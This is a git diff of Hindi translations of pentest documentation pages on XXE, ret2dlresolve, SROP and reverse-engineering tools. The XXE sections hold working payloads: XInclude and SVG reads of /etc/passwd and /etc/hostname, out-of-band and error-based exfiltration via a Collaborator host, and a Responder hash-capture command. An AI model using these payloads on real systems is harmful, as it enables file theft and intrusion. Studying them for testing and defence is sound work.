**jar** प्रोटोकॉल विशेष रूप से **Java अनुप्रयोगों** के भीतर सुलभ है। यह **PKZIP** संग्रह (जैसे, `.zip`, `.jar`, आदि) के भीतर फ़ाइल पहुंच सक्षम करने के लिए डिज़ाइन किया गया है, जो स्थानीय और दूरस्थ फ़ाइलों दोनों के लिए उपयुक्त है।
**jar** प्रोटोकॉल विशेष रूप से **Java अनुप्रयोगों** के भीतर सुलभ है। यह **PKZIP** संग्रह (जैसे, `.zip`, `.jar`, आदि) के भीतर फ़ाइलों तक पहुँचने की अनुमति देने के लिए डिज़ाइन किया गया है, जो स्थानीय और दूरस्थ फ़ाइलों दोनों के लिए उपयुक्त है।
```
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
@ -241,12 +243,12 @@ jar:https://download.host.com/myarchive.zip!/file.txt
> [!CAUTION]
> PKZIP फ़ाइलों के अंदर फ़ाइलों तक पहुँच प्राप्त करना **सिस्टम DTD फ़ाइलों के माध्यम से XXE का दुरुपयोग करने के लिए सुपर उपयोगी है।** [सिस्टम DTD फ़ाइलों के दुरुपयोग के तरीके के लिए इस अनुभाग की जाँच करें](xxe-xee-xml-external-entity.md#error-based-system-dtd).
PKZIP संग्रह के भीतर एक फ़ाइल तक पहुँच प्राप्त करने की प्रक्रिया में कई चरण शामिल हैं:
PKZIP संग्रह के भीतर एक फ़ाइल तक पहुँचने की प्रक्रिया में कई चरण शामिल हैं:
1. एक HTTP अनुरोध एक निर्दिष्ट स्थान से ज़िप संग्रह डाउनलोड करने के लिए किया जाता है, जैसे `https://download.website.com/archive.zip`.
2. HTTP प्रतिक्रिया जिसमें संग्रह होता है, अस्थायी रूप से सिस्टम पर संग्रहीत की जाती है, आमतौर पर `/tmp/...` जैसे स्थान पर।
3. फिर संग्रह को इसके सामग्री तक पहुँचने के लिए निकाला जाता है।
4. संग्रह के भीतर विशेष फ़ाइल, `file.zip`, को पढ़ा जाता है।
4. संग्रह के भीतर विशिष्ट फ़ाइल, `file.zip`, को पढ़ा जाता है।
5. ऑपरेशन के बाद, इस प्रक्रिया के दौरान बनाए गए किसी भी अस्थायी फ़ाइलों को हटा दिया जाता है।
इस प्रक्रिया को दूसरे चरण पर बाधित करने की एक दिलचस्प तकनीक में संग्रह फ़ाइल को सर्व करते समय सर्वर कनेक्शन को अनिश्चितकाल के लिए खुला रखना शामिल है। [इस रिपॉजिटरी](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) में उपलब्ध उपकरणों का उपयोग इस उद्देश्य के लिए किया जा सकता है, जिसमें एक Python सर्वर (`slow_http_server.py`) और एक Java सर्वर (`slowserver.jar`) शामिल हैं।
@ -255,7 +257,7 @@ PKZIP संग्रह के भीतर एक फ़ाइल तक प
<foo>&xxe;</foo>
```
> [!CAUTION]
> अस्थायी निर्देशिका में फ़ाइलें लिखना **एक और भेद्यता को बढ़ाने में मदद कर सकता है जो पथ यात्रा से संबंधित है** (जैसे स्थानीय फ़ाइल शामिल करना, टेम्पलेट इंजेक्शन, XSLT RCE, डसिरियलाइजेशन, आदि)।
> अस्थायी निर्देशिका में फ़ाइलें लिखना **पथ यात्रा** से संबंधित एक और भेद्यता को **बढ़ाने** में मदद कर सकता है (जैसे स्थानीय फ़ाइल शामिल करना, टेम्पलेट इंजेक्शन, XSLT RCE, डसिरियलाइजेशन, आदि)।
### XSS
```xml
@ -304,13 +306,13 @@ Responder.py -I eth0 -v
```
फिर आप hashcat का उपयोग करके हैश को क्रैक करने की कोशिश कर सकते हैं
## छिपे हुए XXE सतहें
## Hidden XXE Surfaces
### XInclude
जब क्लाइंट डेटा को सर्वर-साइड XML दस्तावेजों में एकीकृत किया जाता है, जैसे कि बैकएंड SOAP अनुरोधों में, XML संरचना पर सीधा नियंत्रण अक्सर सीमित होता है, जो `DOCTYPE` तत्व को संशोधित करने पर प्रतिबंधों के कारण पारंपरिक XXE हमलों को बाधित करता है। हालाँकि, एक `XInclude` हमला एक समाधान प्रदान करता है क्योंकि यह XML दस्तावेज़ के किसी भी डेटा तत्व के भीतर बाहरी संस्थाओं को सम्मिलित करने की अनुमति देता है। यह विधि प्रभावी है, भले ही केवल सर्वर-जनित XML दस्तावेज़ के भीतर डेटा का एक भाग नियंत्रित किया जा सके।
`XInclude` हमले को निष्पादित करने के लिए, `XInclude` नामस्थान को घोषित करना होगा, और इच्छित बाहरी संस्था के लिए फ़ाइल पथ निर्दिष्ट करना होगा। नीचे एक संक्षिप्त उदाहरण दिया गया है कि इस प्रकार के हमले को कैसे तैयार किया जा सकता है:
`XInclude` हमले को निष्पादित करने के लिए, `XInclude` नामस्थान को घोषित करना आवश्यक है, और इच्छित बाहरी संस्था के लिए फ़ाइल पथ निर्दिष्ट करना होगा। नीचे एक संक्षिप्त उदाहरण दिया गया है कि इस तरह के हमले को कैसे तैयार किया जा सकता है:
```xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
```
@ -322,7 +324,7 @@ Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-sec
जब उपयोगकर्ता **चित्र अपलोड करते हैं**, तो इन चित्रों को सर्वर-साइड पर संसाधित या मान्य किया जाता है। यहां तक कि उन अनुप्रयोगों के लिए जो PNG या JPEG जैसे स्वरूपों की अपेक्षा करते हैं, **सर्वर की चित्र प्रसंस्करण पुस्तकालय SVG चित्रों का भी समर्थन कर सकती है**। SVG, एक XML-आधारित स्वरूप होने के नाते, हमलावरों द्वारा दुर्भावनापूर्ण SVG चित्रों को प्रस्तुत करने के लिए उपयोग किया जा सकता है, जिससे सर्वर XXE (XML External Entity) कमजोरियों के प्रति उजागर हो जाता है।
इस तरह के एक हमले का उदाहरण नीचे दिखाया गया है, जहां एक दुर्भावनापूर्ण SVG चित्र सिस्टम फ़ाइलों को पढ़ने का प्रयास करता है:
ऐसे एक हमले का उदाहरण नीचे दिखाया गया है, जहां एक दुर्भावनापूर्ण SVG चित्र सिस्टम फ़ाइलों को पढ़ने का प्रयास करता है:
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
```
@ -334,7 +336,7 @@ Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-sec
```
SVG प्रारूप का उपयोग दोनों मामलों में उन हमलों को लॉन्च करने के लिए किया जाता है जो सर्वर के सॉफ़्टवेयर की XML प्रोसेसिंग क्षमताओं का लाभ उठाते हैं, जो मजबूत इनपुट सत्यापन और सुरक्षा उपायों की आवश्यकता को उजागर करता है।
अधिक जानकारी के लिए [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) देखें!
अधिक जानकारी के लिए [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) पर जाएं!
**ध्यान दें कि पढ़ी गई फ़ाइल की पहली पंक्ति या निष्पादन के परिणाम के रूप में दिखाई देगी जो बनाई गई छवि के अंदर होगी। इसलिए आपको उस छवि तक पहुँचने में सक्षम होना चाहिए जो SVG ने बनाई है।**
@ -346,7 +348,7 @@ SVG प्रारूप का उपयोग दोनों मामलो
file-upload/pdf-upload-xxe-and-cors-bypass.md
{{#endref}}
### सामग्री-प्रकार: x-www-urlencoded से XML तक
### सामग्री प्रकार: x-www-urlencoded से XML तक
यदि एक POST अनुरोध XML प्रारूप में डेटा स्वीकार करता है, तो आप उस अनुरोध में XXE का लाभ उठाने की कोशिश कर सकते हैं। उदाहरण के लिए, यदि एक सामान्य अनुरोध में निम्नलिखित शामिल है:
```xml
@ -490,7 +492,7 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
हालांकि, यह अनुरोध एक आंतरिक सर्वर त्रुटि को सक्रिय करता है, जो विशेष रूप से मार्कअप घोषणाओं के साथ एक समस्या का उल्लेख करता है:
हालांकि, यह अनुरोध एक आंतरिक सर्वर त्रुटि को सक्रिय करता है, विशेष रूप से मार्कअप घोषणाओं के साथ एक समस्या का उल्लेख करता है:
```json
{
"status": 500,
@ -498,9 +500,9 @@ Content-Type: application/x-xliff+xml
"message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."
}
```
त्रुटि के बावजूद, बर्प सहयोगी पर एक हिट दर्ज की जाती है, जो बाहरी इकाई के साथ कुछ स्तर की बातचीत को इंगित करती है।
हालांकि त्रुटि है, एक हिट बर्प सहयोगी पर दर्ज की जाती है, जो बाहरी इकाई के साथ कुछ स्तर की बातचीत को इंगित करती है।
आउट ऑफ बैंड डेटा एक्सफिल्ट्रेशन डेटा को एक्सफिल्ट्रेट करने के लिए, एक संशोधित अनुरोध भेजा जाता है:
Out of Band Data Exfiltration डेटा को निकालने के लिए, एक संशोधित अनुरोध भेजा जाता है:
```
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
@ -512,9 +514,9 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
यह दृष्टिकोण यह प्रकट करता है कि यूजर एजेंट Java 1.8 के उपयोग को इंगित करता है। इस संस्करण के Java के साथ एक उल्लेखनीय सीमा यह है कि यह Out of Band तकनीक का उपयोग करके newline कैरेक्टर वाले फ़ाइलों को पुनः प्राप्त करने में असमर्थ है, जैसे कि /etc/passwd।
यह दृष्टिकोण यह प्रकट करता है कि User Agent Java 1.8 के उपयोग को इंगित करता है। इस संस्करण के Java के साथ एक उल्लेखनीय सीमा यह है कि यह Out of Band तकनीक का उपयोग करके newline character वाले फ़ाइलों को पुनः प्राप्त करने में असमर्थ है, जैसे कि /etc/passwd।
Error-Based Data Exfiltration इस सीमा को पार करने के लिए, एक Error-Based दृष्टिकोण का उपयोग किया जाता है। DTD फ़ाइल को इस प्रकार संरचित किया गया है कि यह एक त्रुटि को ट्रिगर कर जिसमें लक्षित फ़ाइल से डेटा शामिल हो:
Error-Based Data Exfiltration इस सीमा को पार करने के लिए, एक Error-Based दृष्टिकोण का उपयोग किया जाता है। DTD फ़ाइल को इस प्रकार संरचित किया गया है कि यह एक त्रुटि को ट्रिगर करता है जिसमें लक्षित फ़ाइल से डेटा शामिल होता है:
```xml
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
@ -671,7 +673,9 @@ XMLDecoder एक Java क्लास है जो XML संदेश के
```
## Tools
{% embed url="https://github.com/luisfontes19/xxexploiter" %}
{{#ref}}
https://github.com/luisfontes19/xxexploiter
{{#endref}}
## References
@ -684,5 +688,4 @@ XMLDecoder एक Java क्लास है जो XML संदेश के
- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\
- [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
{{#include ../banners/hacktricks-training.md}}

View File

@ -10,14 +10,16 @@
इसलिए, सभी इन संरचनाओं को **फेक करना संभव है** ताकि गतिशील रूप से अनुरोधित प्रतीक (जैसे **`system`** फ़ंक्शन) को हल किया जा सके और इसे एक कॉन्फ़िगर किए गए पैरामीटर के साथ कॉल किया जा सके (जैसे **`system('/bin/sh')`**).
आमतौर पर, इन सभी संरचनाओं को एक **प्रारंभिक ROP श्रृंखला बनाकर फेक किया जाता है जो `read` को एक लिखने योग्य मेमोरी पर कॉल करता है, फिर **संरचनाएँ** और स्ट्रिंग **`'/bin/sh'`** को पास किया जाता है ताकि वे एक ज्ञात स्थान पर पढ़े जाएं, और फिर ROP श्रृंखला **`_dl_runtime_resolve`** को `$'/bin/sh'` के पते के साथ कॉल करके जारी रहती है।
आमतौर पर, इन सभी संरचनाओं को एक **प्रारंभिक ROP श्रृंखला बनाकर फेक किया जाता है जो `read` को लिखने योग्य मेमोरी पर कॉल करता है, फिर **संरचनाएँ** और स्ट्रिंग **`'/bin/sh'`** को पास किया जाता है ताकि वे एक ज्ञात स्थान पर पढ़े जाएं, और फिर ROP श्रृंखला **`_dl_runtime_resolve`** को `$'/bin/sh'` के पते के साथ कॉल करके जारी रहती है।
> [!TIP]
> यह तकनीक विशेष रूप से उपयोगी है यदि syscall gadgets नहीं हैं (जैसे [**ret2syscall**](rop-syscall-execv.md) या [SROP](srop-sigreturn-oriented-programming.md) जैसी तकनीकों का उपयोग करने के लिए) और libc पते लीक करने के तरीके नहीं हैं।
आप इस तकनीक के बारे में बेहतर व्याख्या वीडियो के दूसरे भाग में पा सकते हैं:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
{{#ref}}
https://youtu.be/ADULSwnQs-s?feature=shared
{{#endref}}
## Structures
@ -33,7 +35,7 @@
## Example
आप [**इस तकनीक का एक उदाहरण यहाँ**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **पाएंगे जिसमें अंतिम ROP श्रृंखला का बहुत अच्छा व्याख्या है**, लेकिन यहाँ अंतिम एक्सप्लॉइट है जो उपयोग किया गया:
आप [**इस तकनीक का एक उदाहरण यहाँ**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **पाएंगे जिसमें अंतिम ROP श्रृंखला की बहुत अच्छी व्याख्या है**, लेकिन यहाँ अंतिम एक्सप्लॉइट है जो उपयोग किया गया:
```python
from pwn import *

View File

@ -6,14 +6,14 @@
**`Sigreturn`** एक विशेष **syscall** है जिसका मुख्य उपयोग एक सिग्नल हैंडलर के निष्पादन के बाद सफाई करने के लिए किया जाता है। सिग्नल वे व्यवधान हैं जो ऑपरेटिंग सिस्टम द्वारा एक प्रोग्राम को भेजे जाते हैं, अक्सर यह संकेत देने के लिए कि कोई असाधारण स्थिति उत्पन्न हुई है। जब एक प्रोग्राम एक सिग्नल प्राप्त करता है, तो यह अस्थायी रूप से अपने वर्तमान कार्य को रोकता है ताकि सिग्नल को एक **सिग्नल हैंडलर** के साथ संभाला जा सके, जो सिग्नल से निपटने के लिए डिज़ाइन किया गया एक विशेष फ़ंक्शन है।
सिग्नल हैंडलर के समाप्त होने के बाद, प्रोग्राम को **अपने पिछले स्थिति पर लौटने** की आवश्यकता होती है जैसे कि कुछ भी नहीं हुआ। यहीं पर **`sigreturn`** काम आता है। यह प्रोग्राम को **सिग्नल हैंडलर से लौटने** में मदद करता है और सिग्नल हैंडलर द्वारा उपयोग किए गए स्टैक फ्रेम (मेमोरी का वह भाग जो फ़ंक्शन कॉल और स्थानीय चर को संग्रहीत करता है) को साफ करके प्रोग्राम की स्थिति को बहाल करता है।
सिग्नल हैंडलर के समाप्त होने के बाद, प्रोग्राम को **अपने पिछले स्थिति पर लौटने** की आवश्यकता होती है जैसे कुछ हुआ ही न हो। यहीं पर **`sigreturn`** काम आता है। यह प्रोग्राम को **सिग्नल हैंडलर से लौटने** में मदद करता है और सिग्नल हैंडलर द्वारा उपयोग किए गए स्टैक फ्रेम (मेमोरी का वह भाग जो फ़ंक्शन कॉल और स्थानीय चर को संग्रहीत करता है) को साफ करके प्रोग्राम की स्थिति को बहाल करता है।
दिलचस्प बात यह है कि **`sigreturn`** प्रोग्राम की स्थिति को कैसे बहाल करता है: यह **CPU के सभी रजिस्टर मानों को स्टैक पर संग्रहीत करके** ऐसा करता है। जब सिग्नल अब अवरुद्ध नहीं होता, तो **`sigreturn` इन मानों को स्टैक से पॉप करता है**, प्रभावी रूप से CPU के रजिस्टर को उनके उस स्थिति में रीसेट करता है जब सिग्नल को संभाला गया था। इसमें स्टैक पॉइंटर रजिस्टर (RSP) शामिल है, जो स्टैक के वर्तमान शीर्ष की ओर इशारा करता है।
> [!CAUTION]
> ROP चेन से **`sigreturn`** syscall को कॉल करना और **रजिस्ट्रियों के मानों को जोड़ना**ो हम इसे **स्टैक** में लोड करना चाहते हैं, यह संभव बनाता है कि हम सभी रजिस्टर मानों को **नियंत्रित** कर सकें और इसलिए **कॉल** कर सकें, उदाहरण के लिए, syscall `execve` के साथ `/bin/sh`
> ROP चेन से **`sigreturn`** syscall को कॉल करना और **रजिस्ट्रियों के मानों को जोड़ना**िन्हें हम **स्टैक** में लोड करना चाहते हैं, यह संभव है कि हम सभी रजिस्टर मानों को **नियंत्रित** कर सकें और इसलिए **कॉल** कर सकें, उदाहरण के लिए, syscall `execve` के साथ `/bin/sh`
ध्यान दें कि यह एक **Ret2syscall** का **प्रकार** होगा जो अन्य Ret2syscalls को कॉल करने के लिए पैरामीटर को नियंत्रित करना बहुत आसान बनाता है:
ध्यान दें कि यह एक **Ret2syscall का प्रकार** होगा जो अन्य Ret2syscalls को कॉल करने के लिए पैरामीटर को नियंत्रित करना बहुत आसान बनाता है:
{{#ref}}
rop-syscall-execv.md
@ -21,7 +21,9 @@ rop-syscall-execv.md
बेहतर स्पष्टीकरण के लिए देखें:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
{{#ref}}
https://youtu.be/ADULSwnQs-s?feature=shared
{{#endref}}
## Example

View File

@ -14,7 +14,7 @@
- **decompile** करने के लिए [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) का उपयोग करें (wasm (बाइनरी) से wat (स्पष्ट पाठ) में)
- **compile** करने के लिए [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) का उपयोग करें (wat से wasm में)
- आप डिकंपाइल करने के लिए [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) का भी प्रयास कर सकते हैं
- आप डिकंपाइल करने के लिए [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) का उपयोग करने की कोशिश भी कर सकते हैं
सॉफ़्टवेयर:
@ -31,11 +31,11 @@ dotPeek एक डिकंपाइलर है जो **कई प्रा
### [.NET Reflector](https://www.red-gate.com/products/reflector/)
एक व्यापक ऐड-इन मॉडल और एक API के साथ जो उपकरण को आपकी सटीक आवश्यकताओं के अनुसार विस्तारित करता है, .NET reflector समय बचाता है और विकास को सरल बनाता है। आइए इस उपकरण द्वारा प्रदान की जाने वाली रिवर्स इंजीनियरिंग सेवाओं की प्रचुरता पर एक नज़र डालते हैं:
एक व्यापक ऐड-इन मॉडल और एक API के साथ जो उपकरण को आपकी सटीक आवश्यकताओं के अनुसार विस्तारित करता है, .NET Reflector समय बचाता है और विकास को सरल बनाता है। आइए इस उपकरण द्वारा प्रदान की जाने वाली रिवर्स इंजीनियरिंग सेवाओं की प्रचुरता पर एक नज़र डालते हैं:
- यह बताता है कि डेटा एक लाइब्रेरी या घटक के माध्यम से कैसे प्रवाहित होता है
- .NET भाषाओं और ढांचों के कार्यान्वयन और उपयोग की जानकारी प्रदान करता है
- APIs और प्रौद्योगिकियों का अधिकतम लाभ उठाने के लिए अप्रलेखित और अप्रकट कार्यक्षमता को खोजता है।
- APIs और प्रौद्योगिकियों का अधिकतम लाभ उठाने के लिए अप्रलेखित और अप्रकट कार्यक्षमता खोजता है।
- निर्भरताएँ और विभिन्न असेंबलियों को खोजता है
- आपके कोड, तृतीय-पक्ष घटकों, और लाइब्रेरी में त्रुटियों के सटीक स्थान को ट्रैक करता है।
- आप जिस सभी .NET कोड के साथ काम करते हैं, उसके स्रोत में डिबग करता है।
@ -43,7 +43,7 @@ dotPeek एक डिकंपाइलर है जो **कई प्रा
### [ILSpy](https://github.com/icsharpcode/ILSpy) और [dnSpy](https://github.com/dnSpy/dnSpy/releases)
[Visual Studio Code के लिए ILSpy प्लगइन](https://github.com/icsharpcode/ilspy-vscode): आप इसे किसी भी OS में रख सकते हैं (आप इसे सीधे VSCode से इंस्टॉल कर सकते हैं, git डाउनलोड करने की आवश्यकता नहीं है। **Extensions** पर क्लिक करें और **ILSpy** खोजें)।\
यदि आपको **decompile**, **modify** और फिर से **recompile** करने की आवश्यकता है, तो आप [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) या इसके एक सक्रिय रूप से बनाए रखे गए फोर्क, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases) का उपयोग कर सकते हैं। (**Right Click -> Modify Method** किसी फ़ंक्शन के अंदर कुछ बदलने के लिए)।
यदि आपको **decompile**, **modify** और फिर से **recompile** करने की आवश्यकता है, तो आप [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) या इसके एक सक्रिय रूप से बनाए रखे गए फोर्क, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases) का उपयोग कर सकते हैं। (**Right Click -> Modify Method** का उपयोग करके किसी फ़ंक्शन के अंदर कुछ बदलें)।
### DNSpy लॉगिंग
@ -55,7 +55,7 @@ File.AppendAllText(path, "Password: " + password + "\n");
```
### DNSpy Debugging
कोड को DNSpy का उपयोग करके डिबग करने के लिए आपको निम्नलिखित करने की आवश्यकता है:
कोड को DNSpy का उपयोग करके डिबग करने के लिए आपको:
पहले, **डिबगिंग** से संबंधित **Assembly attributes** को बदलें:
@ -125,16 +125,16 @@ iisreset /noforce
![](<../../images/image (704).png>)
फिर, जब आप डिबगिंग शुरू करते हैं, **प्रवर्तन तब रोका जाएगा जब प्रत्येक DLL लोड होगा**, फिर, जब rundll32 आपका DLL लोड करेगा, तो प्रवर्तन रोका जाएगा।
फिर, जब आप डिबगिंग शुरू करते हैं, **प्रवर्तन तब रोका जाएगा जब प्रत्येक DLL लोड होगा**, फिर, जब rundll32 आपका DLL लोड करेगा तो प्रवर्तन रोका जाएगा।
लेकिन, आप उस DLL के कोड तक कैसे पहुँच सकते हैं जो लोड किया गया था? इस विधि का उपयोग करके, मुझे नहीं पता।
### Using x64dbg/x32dbg
- **Load rundll32** (64bits in C:\Windows\System32\rundll32.exe and 32 bits in C:\Windows\SysWOW64\rundll32.exe)
- **Command Line** बदलें (_File --> Change Command Line_) और DLL का path और जिस फ़ंक्शन को आप कॉल करना चाहते हैं, उसे सेट करें, उदाहरण के लिए: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll",DLLMain
- **Command Line बदलें** (_File --> Change Command Line_) और DLL का path और जिस फ़ंक्शन को आप कॉल करना चाहते हैं, उसे सेट करें, उदाहरण के लिए: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll",DLLMain
- _Options --> Settings_ में जाएं और "**DLL Entry**" चुनें।
- फिर **execution शुरू करें**, डिबगर प्रत्येक DLL मुख्य पर रुकेगा, किसी बिंदु पर आप **अपने DLL के DLL Entry में रुकेंगे**। वहां से, बस उन बिंदुओं की खोज करें जहाँ आप एक ब्रेकपॉइंट रखना चाहते हैं।
- फिर **प्रवर्तन शुरू करें**, डिबगर प्रत्येक DLL मुख्य पर रुकेगा, किसी बिंदु पर आप **अपने DLL के DLL Entry में रुकेंगे**। वहां से, बस उन बिंदुओं की खोज करें जहाँ आप एक ब्रेकपॉइंट रखना चाहते हैं।
ध्यान दें कि जब प्रवर्तन किसी कारण से win64dbg में रुका होता है, तो आप **win64dbg विंडो के शीर्ष पर** देख सकते हैं कि आप **किस कोड में हैं**:
@ -156,14 +156,16 @@ cheat-engine.md
## ARM & MIPS
{% embed url="https://github.com/nongiach/arm_now" %}
{{#ref}}
https://github.com/nongiach/arm_now
{{#endref}}
## Shellcodes
### Debugging a shellcode with blobrunner
[**Blobrunner**](https://github.com/OALabs/BlobRunner) **shellcode** को मेमोरी के एक स्थान के अंदर **allocate** करेगा, आपको **memory address** बताएगा जहाँ shellcode आवंटित किया गया था और **execution** को **stop** करेगा।\
फिर, आपको प्रक्रिया से **एक डिबगर** (Ida या x64dbg) को जोड़ने की आवश्यकता है और **indicated memory address** पर एक **breakpoint** रखना है और **execution** को **resume** करना है। इस तरह आप shellcode को डिबग कर रहे होंगे।
[**Blobrunner**](https://github.com/OALabs/BlobRunner) **shellcode** को मेमोरी के एक स्थान के अंदर **आवंटित** करेगा, आपको **मेमोरी पते** को **संकेत** करेगा जहाँ shellcode आवंटित किया गया था और **प्रवर्तन** को रोकेगा।\
फिर, आपको प्रक्रिया से **एक डिबगर** (Ida या x64dbg) को संलग्न करना होगा और **संकेतित मेमोरी पते पर एक ब्रेकपॉइंट** रखना होगा और **प्रवर्तन** को फिर से शुरू करना होगा। इस तरह आप shellcode को डिबग कर रहे होंगे।
रिलीज़ गिटहब पृष्ठ में संकलित रिलीज़ वाले ज़िप शामिल हैं: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
आप निम्नलिखित लिंक में Blobrunner का थोड़ा संशोधित संस्करण पा सकते हैं। इसे संकलित करने के लिए बस **Visual Studio Code में एक C/C++ प्रोजेक्ट बनाएं, कोड को कॉपी और पेस्ट करें और इसे बनाएं**
@ -174,7 +176,7 @@ blobrunner.md
### Debugging a shellcode with jmp2it
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) blobrunner के समान है। यह **shellcode** को मेमोरी के एक स्थान के अंदर **allocate** करेगा, और एक **eternal loop** शुरू करेगा। फिर आपको प्रक्रिया से **डिबगर** को जोड़ने की आवश्यकता है, **play start wait 2-5 secs और press stop** करें और आप **eternal loop** के अंदर पाएंगे। अनंत लूप के अगले निर्देश पर कूदें क्योंकि यह shellcode को कॉल करेगा, और अंततः आप shellcode को निष्पादित करते हुए पाएंगे।
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) blobrunner के समान है। यह **shellcode** को मेमोरी के एक स्थान के अंदर **आवंटित** करेगा, और एक **अनंत लूप** शुरू करेगा। फिर आपको प्रक्रिया से **डिबगर** को संलग्न करना होगा, **2-5 सेकंड प्रतीक्षा करें और रोकें** और आप **अनंत लूप** के अंदर पाएंगे। अनंत लूप के अगले निर्देश पर कूदें क्योंकि यह shellcode को कॉल करेगा, और अंततः आप shellcode को निष्पादित करते हुए पाएंगे।
![](<../../images/image (509).png>)
@ -188,7 +190,7 @@ blobrunner.md
![](<../../images/image (562).png>)
आप जिस स्थान पर अनुकरण शुरू करना चाहते हैं, वहां एक bp सेट करें और स्पष्ट रूप से Cutter वहां से अनुकरण शुरू करेगा:
आप जिस स्थान पर अनुकरण शुरू करना चाहते हैं, वहां एक bp सेट करें और स्पष्ट रूप से cutter वहां से अनुकरण शुरू करेगा:
![](<../../images/image (589).png>)
@ -222,7 +224,7 @@ scDbg में एक ग्राफिकल लॉन्चर भी है
## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator)
यह ऑबफस्केटर **`mov` के लिए सभी निर्देशों को संशोधित करता है**(हाँ, वास्तव में कूल)। यह निष्पादन प्रवाह को बदलने के लिए इंटरप्शन का भी उपयोग करता है। इसके काम करने के तरीके के बारे में अधिक जानकारी के लिए:
यह ऑबफस्केटर **`mov` के लिए सभी निर्देशों को संशोधित करता है**(हाँ, वास्तव में कूल)। यह निष्पादन प्रवाह को बदलने के लिए इंटरप्शन का भी उपयोग करता है। यह कैसे काम करता है इसके बारे में अधिक जानकारी के लिए:
- [https://www.youtube.com/watch?v=2VF_wPkiBJY](https://www.youtube.com/watch?v=2VF_wPkiBJY)
- [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf)
@ -267,7 +269,7 @@ Delphi संकलित बाइनरी के लिए आप [https://gi
## संकलित पायथन
इस पृष्ठ पर आप ELF/EXE पायथन संकलित बाइनरी से पायथन कोड प्राप्त करने के तरीके के बारे में जान सकते हैं:
इस पृष्ठ पर आप ELF/EXE पायथन संकलित बाइनरी से पायथन कोड प्राप्त करने का तरीका पा सकते हैं:
{{#ref}}
../../generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
@ -275,7 +277,7 @@ Delphi संकलित बाइनरी के लिए आप [https://gi
## GBA - गेम बॉडी एडवांस
यदि आपको GBA गेम का **बाइनरी** मिलता है, तो आप इसे **अनुकरण** और **डिबग** करने के लिए विभिन्न उपकरणों का उपयोग कर सकते हैं:
यदि आपको एक GBA गेम का **बाइनरी** मिलता है, तो आप इसे **इम्यूलेट** और **डिबग** करने के लिए विभिन्न उपकरणों का उपयोग कर सकते हैं:
- [**no$gba**](https://problemkaputt.de/gba.htm) (_डिबग संस्करण डाउनलोड करें_) - इंटरफ़ेस के साथ एक डिबगर शामिल है
- [**mgba** ](https://mgba.io)- CLI डिबगर शामिल है
@ -286,7 +288,7 @@ Delphi संकलित बाइनरी के लिए आप [https://gi
![](<../../images/image (581).png>)
जब दबाया जाता है, तो प्रत्येक **की का एक मान** होता है जिससे इसे पहचाना जा सके:
जब दबाया जाता है, तो प्रत्येक **कुंजी का एक मान** होता है जिससे इसे पहचाना जा सके:
```
A = 1
B = 2
@ -338,7 +340,7 @@ uVar2 = DAT_030004dc;
uVar1 = *puVar6;
if ((uVar1 & DAT_030004da & ~uVar4) != 0) {
```
अंतिम if यह जांच रहा है कि **`uVar4`** **अंतिम Keys** में है और वर्तमान कुंजी नहीं है, जिसे बटन छोड़ने के रूप में भी कहा जाता है (वर्तमान कुंजी **`uVar1`** में संग्रहीत है)।
अंतिम if यह जांच रहा है कि **`uVar4`** **अंतिम Keys** में है और वर्तमान कुंजी नहीं है, जिसे बटन छोड़ने के रूप में भी जाना जाता है (वर्तमान कुंजी **`uVar1`** में संग्रहीत है)।
```c
if (uVar1 == 4) {
DAT_030000d4 = 0;
